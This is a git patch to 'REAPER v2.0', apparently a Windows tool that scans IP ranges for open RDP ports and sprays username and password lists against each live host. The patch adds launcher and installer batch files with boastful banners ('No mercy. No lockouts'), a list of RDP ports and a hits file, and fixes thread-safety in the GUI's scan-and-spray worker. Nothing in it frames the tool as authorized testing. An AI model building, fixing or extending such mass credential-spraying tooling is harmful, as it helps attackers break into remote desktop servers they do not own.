From 7068dbd12d5a4c5d07bd0ccc97de5f5caec67983 Mon Sep 17 00:00:00 2001 From: drjones Date: Wed, 6 May 2026 12:35:35 -0700 Subject: [PATCH] Fixed scan crash: all tkinter widget access now happens on main thread (Tcl NOT thread-safe). _log() routes GUI updates via root.after(). _scan_worker reads all tkinter vars on main thread. Removed unused _spray_queue. --- MASTERSTER.bat | 106 ++++++++++++++++++++++++++++++++++++++++++++ REAPER.bat | 84 ----------------------------------- gui.py | 64 +++++++++++++++++--------- install.bat | 65 +++++++++++++++++++++++++++ results/good.txt | 1 + run.bat | 23 ++++++++++ wordlists/ports.txt | 3 ++ 7 files changed, 242 insertions(+), 104 deletions(-) create mode 100644 MASTERSTER.bat delete mode 100644 REAPER.bat create mode 100644 install.bat create mode 100644 results/good.txt create mode 100644 run.bat create mode 100644 wordlists/ports.txt diff --git a/MASTERSTER.bat b/MASTERSTER.bat new file mode 100644 index 0000000..3827790 --- /dev/null +++ b/MASTERSTER.bat @@ -0,0 +1,106 @@ +@echo off +title REAPER v2.0 - MASTERSTER +color 0C +cd /d "%~dp0" + +:: ── FORCE UTF-8 ────────────────────────────────────────────── +set PYTHONIOENCODING=utf-8 + +:: ── BANNER ─────────────────────────────────────────────────── +cls +echo. +echo ╔══════════════════════════════════════════════════════════════╗ +echo ║ ☠ REAPER v2.0 - MASTERSTER ☠ ║ +echo ║ Remote Exploitation ^& Password Enumeration Routine ║ +echo ║ ║ +echo ║ One swoop. One reaping. No mercy. ║ +echo ╚══════════════════════════════════════════════════════════════╝ +echo. +echo Made for doom by drjones. +echo. + +:: ── STEP 1: CHECK PYTHON ──────────────────────────────────── +echo [*] Step 1/6 — Checking Python... +python --version >nul 2>&1 +if %errorlevel% neq 0 ( + echo. + echo [FAIL] Python is not installed or not in PATH! + echo. + echo Download Python 3.8+ from: https://python.org/downloads + echo Make sure to check "Add Python to PATH" during installation. + echo. + pause + exit /b 1 +) +for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i +echo [OK] Python %pyver% found +echo. + +:: ── STEP 2: INSTALL DEPENDENCIES ──────────────────────────── +echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks)... +echo. +python -m pip install --upgrade pip -q +python -m pip install aiohttp aiohttp-socks -q +if %errorlevel% neq 0 ( + echo [WARN] pip install had issues, but continuing... +) else ( + echo [OK] Dependencies installed +) +echo. + +:: ── STEP 3: CREATE DIRECTORIES ────────────────────────────── +echo [*] Step 3/6 — Creating directories... +if not exist "wordlists" mkdir wordlists +if not exist "results" mkdir results +echo [OK] Directories ready +echo. + +:: ── STEP 4: VERIFY FILES ──────────────────────────────────── +echo [*] Step 4/6 — Verifying project files... +set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py +set ALL_OK=1 +for %%f in (%FILES%) do ( + if exist "%%f" ( + echo [OK] %%f + ) else ( + echo [WARN] %%f not found + set ALL_OK=0 + ) +) +if not exist "results\good.txt" ( + echo. > "results\good.txt" + echo [OK] Created results\good.txt +) +echo. + +:: ── STEP 5: TEST IMPORTS ──────────────────────────────────── +echo [*] Step 5/6 — Testing imports... +python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1 +if %errorlevel% neq 0 ( + echo [FAIL] Import test failed. There may be a syntax error. + pause + exit /b 1 +) +echo [OK] All systems nominal +echo. + +:: ── STEP 6: LAUNCH ────────────────────────────────────────── +echo [*] Step 6/6 — Launching the Reaper... +echo. +echo ╔══════════════════════════════════════════════════════════════╗ +echo ║ ☠ REAPER v2.0 ☠ ║ +echo ║ No mercy. No lockouts. Just results. ║ +echo ║ ║ +echo ║ The network is a graveyard, and I'm the reaper. ║ +echo ╚══════════════════════════════════════════════════════════════╝ +echo. +echo Made for doom by drjones. +echo. + +python main.py + +if %errorlevel% neq 0 ( + echo. + echo [!] REAPER encountered an error. Check the output above. + pause +) diff --git a/REAPER.bat b/REAPER.bat deleted file mode 100644 index a07ee97..0000000 --- a/REAPER.bat +++ /dev/null @@ -1,84 +0,0 @@ -@echo off -title REAPER v2.0 - All-in-one launcher -color 0C -cd /d "%~dp0" - -:: ============================================================================ -:: Single-file entry: Python check, pip deps, folders, smoke test, launch GUI -:: ============================================================================ - -set PYTHONIOENCODING=utf-8 -set PYTHONUNBUFFERED=1 - -cls -echo. -echo ╔══════════════════════════════════════════════════════════════╗ -echo ║ REAPER v2.0 — ALL-IN-ONE ║ -echo ║ deps · env · launch ║ -echo ╚══════════════════════════════════════════════════════════════╝ -echo. - -echo [1/6] Python... -python --version >nul 2>&1 -if %errorlevel% neq 0 ( - echo [FAIL] Python not in PATH. Install 3.8+ from https://python.org/downloads - pause - exit /b 1 -) -for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i -echo [OK] %pyver% -echo. - -echo [2/6] Dependencies ^(pip^)... -python -m pip install --upgrade pip -q -if exist "requirements.txt" ( - python -m pip install -r requirements.txt -q -) else ( - python -m pip install aiohttp aiohttp-socks -q -) -if %errorlevel% neq 0 ( - echo [WARN] pip reported an issue — continuing -) else ( - echo [OK] Requirements satisfied -) -echo. - -echo [3/6] Directories... -if not exist "wordlists" mkdir wordlists -if not exist "results" mkdir results -echo [OK] wordlists, results -echo. - -echo [4/6] Project files ^& optional rdpthread.exe... -set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py -for %%f in (%FILES%) do ( - if exist "%%f" ( echo [OK] %%f ) else ( echo [WARN] missing %%f ) -) -if not exist "results\good.txt" echo. > "results\good.txt" -if exist "rdpthread.exe" ( - echo [OK] rdpthread.exe — credential validation available -) else ( - echo [--] rdpthread.exe optional — bundle for verified spray -) -echo. - -echo [5/6] Import smoke test... -python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] imports')" 2>&1 -if %errorlevel% neq 0 ( - echo [FAIL] Import check failed. - pause - exit /b 1 -) -echo. - -echo [6/6] Starting application... -echo. -python main.py -set APP_EXIT=%errorlevel% - -if %APP_EXIT% neq 0 ( - echo. - echo [!] Exited with code %APP_EXIT% - pause -) -exit /b %APP_EXIT% diff --git a/gui.py b/gui.py index e402e02..3dc7b50 100644 --- a/gui.py +++ b/gui.py @@ -94,7 +94,6 @@ class FastRDPGUI: self.users_file = os.path.join(WORDLISTS_DIR, "users.txt") self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt") self._metric_labels: dict = {} - self._spray_queue: asyncio.Queue = None # Proxy manager self.proxy_manager = ProxyManager() @@ -758,11 +757,8 @@ class FastRDPGUI: # ── LOGGING ──────────────────────────────────────────── def _log(self, msg: str, tag: str = "info"): ts = time.strftime("%H:%M:%S") - try: - self.log_text.insert("end", f"[{ts}] {msg}\n", tag) - self.log_text.see("end") - except tk.TclError: - pass + # Schedule GUI update on main thread (tkinter is NOT thread-safe) + self.root.after(0, lambda m=msg, t=tag, ts=ts: self._log_gui(m, t, ts)) tag_colors = { "hit": "\033[92m", "info": "\033[94m", @@ -777,6 +773,14 @@ class FastRDPGUI: except OSError: pass + def _log_gui(self, msg: str, tag: str, ts: str): + """Thread-safe GUI log append (runs on main thread via after()).""" + try: + self.log_text.insert("end", f"[{ts}] {msg}\n", tag) + self.log_text.see("end") + except tk.TclError: + pass + # ── RDP CONNECT FEATURE ──────────────────────────────── def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""): """Launch Windows mstsc (or store creds + launch) for given host.""" @@ -979,7 +983,22 @@ class FastRDPGUI: print(_c("\033[96m", " \u2502 ") + _c("\033[91m", "REAPER v2.0 :: RDP Reaper :: No Mercy") + _c("\033[96m", " \u2502")) print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518")) - thread = threading.Thread(target=self._scan_worker, daemon=True) + # Read tkinter vars on MAIN thread (Tcl NOT thread-safe) + scan_speed = self.speed_var.get() + scan_timeout = self.timeout_var.get() + scan_ports = [p for p, v in self.port_vars.items() if v.get()] + scan_randomize = self.randomize_var.get() + spray_enabled = self.spray_var.get() + ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else "" + users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else "" + pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else "" + + thread = threading.Thread( + target=self._scan_worker, + args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled, + ranges_path, users_file, pass_file), + daemon=True + ) thread.start() def _stop_scan(self): @@ -997,19 +1016,25 @@ class FastRDPGUI: self.log_text.delete("1.0", "end") self.stats = ScanStats() - def _load_wordlists(self): + def _load_wordlists(self, users_path="", pass_path=""): """Load usernames and passwords from files (or use defaults).""" usernames = TOP_USERNAMES passwords = TOP50_PASSWORDS - uf = self.users_entry.get().strip() + if users_path: + uf = users_path + else: + uf = self.users_entry.get().strip() if os.path.exists(uf): with open(uf, 'r', errors='ignore') as f: cu = [l.strip() for l in f if l.strip()] if cu: usernames = cu - pf = self.pass_entry.get().strip() + if pass_path: + pf = pass_path + else: + pf = self.pass_entry.get().strip() if os.path.exists(pf): with open(pf, 'r', errors='ignore') as f: cp = [l.strip() for l in f if l.strip()] @@ -1018,14 +1043,16 @@ class FastRDPGUI: return usernames, passwords - def _scan_worker(self): - """Background thread: scan + spray run CONCURRENTLY.""" + def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled, + ranges_path="", users_path="", pass_path=""): + """Background thread: scan + spray run CONCURRENTLY. + All tkinter values are passed from main thread (Tcl NOT thread-safe). + """ try: loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) - ranges_path = self.ranges_entry.get().strip() - if not os.path.exists(ranges_path): + if not ranges_path or not os.path.exists(ranges_path): self._log(f"\u274c Ranges file not found: {ranges_path}", "error") self._scan_done() return @@ -1040,15 +1067,12 @@ class FastRDPGUI: self._scan_done() return - if self.randomize_var.get(): + if randomize: random.shuffle(ips) - active_ports = [p for p, v in self.port_vars.items() if v.get()] if not active_ports: active_ports = [3389] - speed = self.speed_var.get() - timeout = self.timeout_var.get() self.stats.total = len(ips) * len(active_ports) self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports " @@ -1059,7 +1083,7 @@ class FastRDPGUI: print(_c("\033[90m", " [+] " + "\u2500" * 55)) # Load wordlists now (in the background thread, before async loop) - usernames, passwords = self._load_wordlists() + usernames, passwords = self._load_wordlists(users_path, pass_path) self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system") # ── Streaming design ───────────────────────────── @@ -1078,7 +1102,7 @@ class FastRDPGUI: self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...") print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW")) - if self.spray_var.get(): + if spray_enabled: # Create an asyncio task for this host's spray task = asyncio.create_task( self._spray_host(loop, ip, port, usernames, passwords) diff --git a/install.bat b/install.bat new file mode 100644 index 0000000..309c308 --- /dev/null +++ b/install.bat @@ -0,0 +1,65 @@ +@echo off +title REAPER v2.0 - Installer +color 0C +cd /d "%~dp0" +echo. +echo ╔═══════════════════════════════════════════════════╗ +echo ║ ☠ REAPER v2.0 Installer ☠ ║ +echo ║ Remote Exploitation ^& Password Enumeration ║ +echo ╚═══════════════════════════════════════════════════╝ +echo. + +:: Check Python +python --version >nul 2>&1 +if %errorlevel% neq 0 ( + echo [FAIL] Python is not installed or not in PATH! + echo. + echo Download Python 3.8+ from: https://python.org/downloads + echo Make sure to check "Add Python to PATH" during installation. + echo. + pause + exit /b 1 +) + +for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i +echo [OK] Python %pyver% found + +:: Create directories +if not exist "wordlists" mkdir wordlists +if not exist "results" mkdir results +echo [OK] Directories created + +:: Verify core files exist +set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py +for %%f in (%FILES%) do ( + if exist "%%f" ( + echo [OK] %%f + ) else ( + echo [WARN] %%f not found + ) +) + +:: Create initial good.txt +if not exist "results\good.txt" ( + echo. > "results\good.txt" + echo [OK] Created results\good.txt +) + +:: Test import +echo. +echo Testing imports... +python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; print(' [OK] All modules loaded successfully')" 2>&1 +if %errorlevel% neq 0 ( + echo [FAIL] Import test failed. There may be a syntax error. + pause + exit /b 1 +) + +echo. +echo ╔══════════════════════════════════════════╗ +echo ║ Installation Complete! ║ +echo ║ ║ +echo ║ Run: run.bat or python main.py ║ +echo ╚══════════════════════════════════════════╝ +echo. +pause diff --git a/results/good.txt b/results/good.txt new file mode 100644 index 0000000..8d1c8b6 --- /dev/null +++ b/results/good.txt @@ -0,0 +1 @@ + diff --git a/run.bat b/run.bat new file mode 100644 index 0000000..b5bbac9 --- /dev/null +++ b/run.bat @@ -0,0 +1,23 @@ +@echo off +title REAPER v2.0 - RDP Exploitation Framework +cd /d "%~dp0" + +:: Force UTF-8 encoding for Unicode box-drawing characters in banner +set PYTHONIOENCODING=utf-8 +color 0C + +echo. +echo ╔═══════════════════════════════════════════════════╗ +echo ║ ☠ REAPER v2.0 ☠ ║ +echo ║ Remote Exploitation ^& Password Enumeration ║ +echo ║ Launching the Reaper... ║ +echo ╚═══════════════════════════════════════════════════╝ +echo. +python main.py +if %errorlevel% neq 0 ( + echo. + echo [!] Python not found or error occurred. + echo [!] Make sure Python 3.8+ is installed and in PATH. + echo [!] Download: https://python.org/downloads + pause +) diff --git a/wordlists/ports.txt b/wordlists/ports.txt new file mode 100644 index 0000000..bfcfa24 --- /dev/null +++ b/wordlists/ports.txt @@ -0,0 +1,3 @@ +3389 +3390 +3391